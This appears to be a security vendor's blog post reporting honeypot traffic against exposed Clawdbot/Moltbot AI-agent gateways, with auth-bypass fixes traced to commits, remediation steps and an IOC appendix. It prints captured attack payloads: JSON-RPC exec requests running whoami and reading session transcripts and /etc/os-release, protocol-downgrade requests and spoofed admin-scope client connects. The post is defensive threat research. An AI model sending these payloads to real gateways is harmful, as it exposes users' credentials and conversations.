Blog

min read

Caught in the Wild: Real Attack Traffic Targeting Exposed Clawdbot Gateways

By

Ariel Fogel

and

Eilon Cohen

January 29, 2026

min read

We deployed a honeypot mimicking a Clawdbot gateway and validated every payload against the source code. Within hours, attackers were probing with protocol-aware exploits.

Clawdbot (recently rebranded as Moltbot) went viral as a self-hosted AI agent for managing your digital life. Thousands deployed it. The gateway exposes a WebSocket API on port 18789 that, until late January 2026, had authentication disabled by default and blindly trusted any connection routed through a reverse proxy as localhost.

We stood up a honeypot on port 18789 to find out who was scanning. The first probes arrived within minutes.

The traffic included prompt injection attempts targeting the AI layer—but the more sophisticated attackers skipped the AI entirely. They connected directly to the gateway's WebSocket API and attempted authentication bypasses, protocol downgrades to pre-patch versions, and raw command execution. Every RPC method they probed maps to a real handler in the codebase. They're not guessing. They've read the source.

A successful attack can yield API keys (Anthropic, OpenAI), gateway credentials, and channel tokens (Telegram, Discord, Slack)—all stored and transmitted in plaintext. It can also yield full conversation history: everything users have discussed with their AI assistant. For multi-node deployments, attackers get a map of connected infrastructure for lateral movement.

This report breaks down what we captured, traces the vulnerabilities to their source commits, and explains what you need to fix.

Key Findings

1. Direct Protocol Attacks (Bypassing the AI)

Some attackers connected directly to the gateway's WebSocket endpoint and sent JSON-RPC payloads attempting command execution:

{"id": 1, "method": "tool", "params": {"args": {"command": "whoami"}, "name": "exec"}, "jsonrpc": "2.0""id": 4, "method": "tool", "params": {"args": {"command": "cat ~/.clawdbot/agents/*/sessions/*.jsonl"}, "name": "exec"}, "jsonrpc": "2.0"}

These payloads don't require prompt crafting or social engineering the LLM. They attempt raw command execution over the WebSocket connection using a tool method.

Our source audit confirmed that Clawdbot's gateway doesn't implement JSON-RPC 2.0, and has no tool or exec method over WebSocket. We believe these payloads may be attempting to exploit CVE-2026-0755 (ZDI-26-021), a command injection vulnerability in gemini-mcp-tool, based on three characteristics: the use of args rather than arguments (matching Gemini's function calling format rather than the MCP specification), the targeting of an exec method (CVE-2026-0755 exploits the execAsync method), and the Clawdbot-specific file paths bolted onto what appears to be a broader scanning toolkit.

2. Protocol Downgrades Targeting Unpatched Instances

We observed connection attempts with minProtocol: 1, forcing protocol downgrades to exploit authentication weaknesses patched in earlier releases.

{"id": 1, "type": "req", "method": "connect", "params": {"caps": [], "client": {"id": "cli-client", "mode": "interactive", "version": "1.0.0", "platform": "linux"}, "maxProtocol": 1, "minProtocol": 1}}

Our review of Clawdbot's git history reveals what they're targeting:

Auth Defaulted to "none" When Unconfigured

Fixed in commit c4a80f4ed (2026-01-26)

If no gateway.auth.token or gateway.auth.password was set, the gateway allowed full unauthenticated access.

// src/gateway/auth.ts:173-176

// BEFORE (vulnerable):
const mode: ResolvedGatewayAuth["mode"] =
  authConfig.mode ?? (password ? "password" : token ? "token" : "none");

// AFTER (fixed in c4a80f4ed):
const mode: ResolvedGatewayAuth["mode"] =
  authConfig.mode ?? (password ? "password" : "token");

The "none" auth mode was subsequently removed entirely in commit 3314b3996 (2026-01-26).

Reverse Proxy Connections Bypassed Authentication

Fixed in commit 6aec34bc6 (2026-01-26, PR #1795)

Gateways behind nginx, Caddy, or Traefik treated all proxied connections as localhost, automatically trusting them. Without gateway.trustedProxies configured, every external connection appeared to come from 127.0.0.1.

// src/gateway/server/ws-connection/message-handler.ts:177-195

// BEFORE (vulnerable):
const isLocalClient = isLocalGatewayAddress(clientIp);
// Problem: clientIp was the proxy's address (127.0.0.1), not the real client

// AFTER (fixed in 6aec34bc6):
const hasProxyHeaders = Boolean(forwardedFor || realIp);
const remoteIsTrustedProxy = isTrustedProxyAddress(remoteAddr, trustedProxies);
const hasUntrustedProxyHeaders = hasProxyHeaders && !remoteIsTrustedProxy;
const isLocalClient = !hasUntrustedProxyHeaders && isLocalGatewayAddress(clientIp);

O'Reilly reported this issue to the Clawdbot developers and it was addressed in PR #1795.

The honeypot shows attackers are still probing for unpatched instances, and the protocol downgrade attempts suggest they're finding them.

3. Accurate Protocol Knowledge

We validated the attack payloads against Clawdbot's source code. Every captured RPC method the attackers probed has a real handler:

Probed Method Handler Location What It Exposes
node.list src/gateway/server-methods/nodes.ts:223 Distributed node infrastructure
chat.history src/gateway/server-methods/chat.ts:184 Full conversation content
device.pair.list src/gateway/server-methods/devices.ts:33 Paired device enumeration
channels.status src/gateway/server-methods/channels.ts:70 Messaging channel configuration
config.schema src/gateway/server-methods/config.ts:101 Configuration structure for targeted extraction

The attackers aren't guessing. They have accurate protocol knowledge, and the node.list method accounted for 16% of all requests in our dataset, suggesting particular interest in multi-node deployments where lateral movement is possible.

4. Systematic Three-Phase Attack Playbook

The honeypot captured a methodical attack sequence:

Phase Methods Observed Attacker Goal
Reconnaissance health , system-presence Confirm it's a real Clawdbot instance, fingerprint the target
Enumeration agents.list , sessions.list , models.list , node.list , device.pair.list Assess value: what agents exist, what nodes are connected, what's worth stealing
Exploitation config.get , chat.history , tool ( exec ) Extract credentials, read conversations, execute commands

Full request sequence from a single WebSocket session:

{"id": "req-1", "type": "req", "method": "connect", "params": {...}}
{"id": "req-2", "type": "req", "method": "health", "params": {}}
{"id": "req-3", "type": "req", "method": "system-presence", "params": {}}
{"id": "req-4", "type": "req", "method": "agents.list", "params": {}}
{"id": "req-5", "type": "req", "method": "sessions.list", "params": {}}
{"id": "req-6", "type": "req", "method": "config.get", "params": {}}
{"id": "req-7", "type": "req", "method": "models.list", "params": {}}
{"id": "req-8", "type": "req", "method": "skills.status", "params": {}}
{"id": "req-9", "type": "req", "method": "cron.list", "params": {}}

This sequence is not opportunistic scanning. It's a methodical checklist for extracting maximum value from every compromised instance.

Evidence of Version Targeting

The probe variations suggest attackers are testing multiple Clawdbot release versions:

Probe Characteristic Likely Target
minProtocol: 1, maxProtocol: 1 Pre-January 2026 releases without device identity requirements
minProtocol: 3, maxProtocol: 3 Current releases with full authentication
role: "operator" without device block Older releases where device identity was optional
role: "user" with webchat mode Testing if lower-privilege roles bypass checks
scopes: ["operator.admin", "operator.approvals", "operator.pairing"] Testing expanded scope claims
client.id: "clawdbot-control-ui" Impersonating legitimate control UI clients

Attackers are also impersonating legitimate Clawdbot clients:

{"id": "...", "type": "req", "method": "connect", "params": {
  "client": {"id": "moltbot-control-ui", "mode": "webchat", "version": "dev", "platform": "Win32"},
  "locale": "zh-CN",
  "scopes": ["operator.admin", "operator.approvals", "operator.pairing"],
  "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."
}}

Note the locale: "zh-CN" and full browser user agent string. Attackers are attempting to blend in with legitimate traffic patterns.

The security hardening timeline we reconstructed from git history:

Date Commit Change
2026-01-13 7616b02bb Fixed Tailscale allowTailscale auth bypass
2026-01-19 2f8206862 Removed Bridge protocol entirely
2026-01-20 9dbc1435a Enforced protocol v3 roles + node allowlist
2026-01-21 f76e3c141 Enforced secure Control UI authentication
2026-01-26 6aec34bc6 Fixed reverse proxy auth bypass (PR #1795)
2026-01-26 c4a80f4ed Required gateway auth by default
2026-01-26 3314b3996 Removed auth mode "none" entirely

The Real Prize: What Attackers Get

The obvious target is config.get. The handler (in src/gateway/server-methods/config.ts:86-100) returns readConfigFileSnapshot() which includes:

  • anthropic.apiKey, openai.apiKey
  • gateway.auth.token, gateway.auth.password
  • Channel credentials (Telegram bot tokens, Discord tokens, Slack tokens)

All stored and transmitted in plaintext.

We traced this handler back to its original implementation in commit 3c4c2aa98. The code has never redacted sensitive fields. The assumption was: if you're authenticated, you're trusted. When authentication fails, everything is exposed.

But chat.history might be worse. While config.get returns the keys to your infrastructure, chat.history (at src/gateway/server-methods/chat.ts:184) returns everything users have discussed with their AI assistant.

What You Should Do Now

If you're running Clawdbot, assume you're being attacked.

1.Update to the latest release. Versions before the January 26, 2026 patches contain auth bypass vulnerabilities that attackers are actively targeting.

2.Verify authentication is configured.

clawdbot config get gateway.auth

You need either gateway.auth.token or gateway.auth.password set. Never rely on "localhost is trusted" defaults.

3.Fix your reverse proxy configuration. If you're using nginx, Caddy, or Traefik, configure gateway.trustedProxies:

gateway:
  trustedProxies:
    - "127.0.0.1"
auth:
  mode: token
  token: ${CLAWDBOT_GATEWAY_TOKEN}

Without this, proxied connections appear as localhost and bypass auth entirely.

4.Don't expose the gateway to the internet. Clawdbot's gateway was designed for local use. If you need remote access, use Tailscale Serve or a VPN with IP allowlisting.

5.Run the security audit.

clawdbot security audit --deep

6. Review connected integrations. Every service Clawdbot can access is a service attackers can access. Revoke credentials you're not actively using.

Takeaway

Clawdbot's rapid adoption outpaced its security maturity. Automated exploitation campaigns are already targeting exposed instances using a systematic playbook to extract credentials and establish persistent access.

Patch. Authenticate. Isolate. The scans are already running.

Appendix: Observed IOCs, and Attack Payloads

Indicators of Compromise (IOCs)

Source IP Addresses

IP Address % of Traffic Behavior Profile
144.31.99.48 67% Systematic enumeration, heavy node.list probing (16% of all requests), credential extraction attempts
201.203.24.148 13% Protocol downgrade (minProtocol: 1), generic API probing
105.79.125.59 9% Reconnaissance, role escalation testing
159.65.108.103 6% JSON parser fuzzing, alternative frame type probing
116.73.159.68 2% JSON-RPC/MCP-style command execution attempts
198.166.73.99 2% Device authentication probing with cryptographic signatures
120.227.46.235 1% Client impersonation (moltbot-control-ui), Chinese locale

Security Framework Mapping

The following table maps observed honeypot behaviors to established security frameworks: MITRE ATT&CK, MITRE ATLAS (AI-specific threats), OWASP API Security Top 10 (2023), and OWASP Top 10 for Agentic Applications (2026).

Observed Behavior MITRE ATT&CK MITRE ATLAS OWASP API (2023) OWASP Agentic (2026)
Protocol/method enumeration (node.list, sessions.list, channels.status, health) T1595 – Active Scanning AML.T0006 – Active Scanning API9 – Improper Inventory Management
Generic API discovery probes (ping, echo, info, version, capabilities, methods) T1595 – Active Scanning AML.T0006 – Active Scanning API9 – Improper Inventory Management
Service discovery/fingerprinting (discovering exposed RPC surfaces) T1046 – Network Service Discovery
AI endpoint probing (Gemini-style JSON-RPC: {"method":"tool","params":{"name":"exec","args":...}}) T1595 – Active Scanning AML.T0040 – AI Model Inference API Access
Tool invocation/command and execution (tool exec whoami, tool read /etc/os-release) AML.T0053 – AI Agent Tool Invocation ASI02 – Tool Misuse and Exploitation
OS/environment discovery (whoami, OS release file reads) T1082 – System Information Discovery AML.T0050 – Command and Scripting Interpreter
Agent config discovery (probing ~/.clawdbot/.../sessions/*.jsonl) AML.T0084 – Discover AI Agent Configuration
Credential/secret probing (config.get for API keys, tokens) AML.T0083 – Credentials from AI Agent Configuration API5 – Broken Function Level Authorization ASI03 – Identity and Privilege Abuse
Client impersonation (spoofed client.id: moltbot-control-ui) T1078 – Valid Accounts AML.T0074 – Masquerading API2 – Broken Authentication ASI03 – Identity and Privilege Abuse
Malformed JSON/parser fuzzing ({, }, partial JSON, alternate frame types) API8 – Security Misconfiguration
Resource exhaustion (high request volume, burst enumeration) API4 – Unrestricted Resource Consumption

Attack Payload Samples

1. JSON-RPC Command Execution Attempts (MCP-style)

{"id": 1, "method": "tool", "params": {"args": {"command": "whoami"}, "name": "exec"}, "jsonrpc": "2.0"}
{"id": 3, "method": "tool", "params": {"args": {"path": "/etc/os-release"}, "name": "read"}, "jsonrpc": "2.0"}
{"id": 4, "method": "tool", "params": {"args": {"command": "cat ~/.clawdbot/agents/*/sessions/*.jsonl"}, "name": "exec"}, "jsonrpc": "2.0"}
{"id": 4, "method": "tool", "params": {"args": {"command": "ls -la ~/.clawdbot/agents/*/sessions/*.jsonl"}, "name": "exec"}, "jsonrpc": "2.0"}

2. Protocol Downgrade Attempts

{"id": 1, "type": "req", "method": "connect", "params": {"caps": [], "client": {"id": "cli-client", "mode": "interactive", "version": "1.0.0", "platform": "linux"}, "maxProtocol": 1, "minProtocol": 1}}

3. Client Impersonation

{"id": "969bbd4f-...", "type": "req", "method": "connect", "params": {"caps": [], "role": "operator", "client": {"id": "moltbot-control-ui", "mode": "webchat", "version": "dev", "platform": "Win32"}, "locale": "zh-CN", "scopes": ["operator.admin", "operator.approvals", "operator.pairing"], "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."}}
{"id": "84e047a2-...", "type": "req", "method": "connect", "params": {"caps": [], "role": "operator", "client": {"id": "clawdbot-control-ui", "mode": "webchat", "version": "dev", "platform": "Linux x86_64"}, "locale": "en-US", "scopes": ["operator.admin", "operator.approvals", "operator.pairing"], "userAgent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"}}

4. Alternative Frame Type Probing

{"id": "test-1", "type": "chat.send", "agent": "main", "content": "Hello"}
{"id": "123", "type": "input", "content": "Hello world", "agent_id": "main"}
{"type": "session.start", "agent": "main"}

5. Generic API Discovery Probes

{"id": 4, "type": "req", "method": "ping", "params": {}}
{"id": 5, "type": "req", "method": "echo", "params": {}}
{"id": 6, "type": "req", "method": "info", "params": {}}
{"id": 7, "type": "req", "method": "version", "params": {}}
{"id": 12, "type": "req", "method": "capabilities", "params": {}}
{"id": 13, "type": "req", "method": "methods", "params": {}}

6. Systematic Enumeration Sequence (Single Session)

{"id": "req-1", "type": "req", "method": "connect", "params": {...}}
{"id": "req-2", "type": "req", "method": "health", "params": {}}
{"id": "req-3", "type": "req", "method": "system-presence", "params": {}}
{"id": "req-4", "type": "req", "method": "agents.list", "params": {}}
{"id": "req-5", "type": "req", "method": "sessions.list", "params": {}}
{"id": "req-6", "type": "req", "method": "config.get", "params": {}}
{"id": "req-7", "type": "req", "method": "models.list", "params": {}}
{"id": "req-8", "type": "req", "method": "skills.status", "params": {}}
{"id": "req-9", "type": "req", "method": "cron.list", "params": {}}

Subscribe and get the latest security updates

Back to blog

MAYBE YOU WILL FIND THIS INTERSTING AS WELL

Operation Bizarre Bazaar: First Attributed LLMjacking Campaign with Commercial Marketplace Monetization

By

Eilon Cohen

and

Ariel Fogel

January 28, 2026

Research
The Agent Security Paradox: When Trusted Commands in Cursor Become Attack Vectors

By

Dan Lisichkin

and

January 14, 2026

Research
Not All AI BOMs Are Created Equal

By

Uri Feldman

and

December 31, 2025

Blog